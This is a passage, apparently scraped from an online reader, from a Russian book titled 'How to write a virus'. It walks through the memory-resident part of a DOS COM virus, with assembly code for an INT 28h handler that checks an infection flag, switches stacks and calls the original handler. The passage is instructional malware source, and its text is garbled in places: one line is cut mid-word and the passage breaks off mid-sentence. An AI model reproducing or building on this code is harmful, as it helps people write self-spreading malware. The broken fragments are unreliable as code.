"Игорь Коваль. Как написать вирус" - читать интересную книгу автора две команды " NOP ", или код : 9090h .
Все приведенные далее команды относятся к резиден- тной части .После записи флагов в стек вирус про- веряет состояние переменной " tg_infect ", и если она равна " 1 ", переходит к метке " vir_2 " .Если же " tg_infect " равна " 0 ",то вирус просто вызы- вает старый обработчик INT 28h и отдает управление прерванному процессу.Чуть позже мы рассмотрим, как формируется значение переменной " tg_infect " . Поскольку приводимый обработчик активно работает со стеком,есть смысл предусмотреть в нем собствен- ный стек . Поэтому сразу за меткой " vir_2 " запи- шем команды, переключающие стек на специальную об- ласть данных вируса " newstack " : ;Переключаем ;стек для TSR - ;исполнения на mov cs:ss_save-110h,ss ;себя ... mov cs:sp_save-110h,sp mov cs:help_word - 110h,cs mov ss,cs:help_word - 110h mov sp,to_newstack + 136 mov cs:tg_infect - 110h,0 fect " в ноль .Этим мы защитим вирусный код от по- вторного вхождения . Теперь необходимо вызвать старый обработчик INT 28h, иначе наш вирус будет " топить " другие рези- дентные программы, которые перехватывают это же прерывание .Поэтому запишем : pushf ;Вызываем старый db 9ah ;обработчик old_28h dw 0 ;INT 28h ... old_28h_2 dw 0 Обработчик здесь вызывается как дальняя процедура. Команда " CALL " записана в виде машинного кода, а поля " old_28h " и " old_28h_2 " заполняются се- кцией инициализации при установке вируса в память. * Обратите внимание на команды переключения стека . Они необычны тем,что от адреса ячеек памяти " ss_ save "," sp_save ", " tg_infect " и " help_word " отнимается число 110h . Дело в том, что при ком- пиляции исходного текста COM - программы адреса ячеек памяти вычисляются исходя из того, что DS |
|
|